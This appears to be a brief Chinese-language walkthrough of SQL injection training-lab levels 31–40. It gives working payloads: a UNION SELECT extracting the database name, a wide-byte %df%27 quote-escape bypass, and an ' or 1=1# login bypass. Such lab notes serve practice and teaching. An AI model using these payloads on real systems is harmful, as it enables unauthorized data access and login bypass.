Less-31:

看不透他在过滤些啥。。。感觉好像啥都没过滤

id=-1")%20union%20select%201,2,database()%20%23

Less-32:

宽字节

payload：

id=-1%df%27%20union%20select%201,2,database()%20%23

Less-33:

上面的 payload 依旧还可用。。。

Less-34:

uname=admin�' or 1=1#&passwd=admin

一个宽字节想考几遍。。。

Less-35 — Less40:

没意思，都是重复的payload，不发了。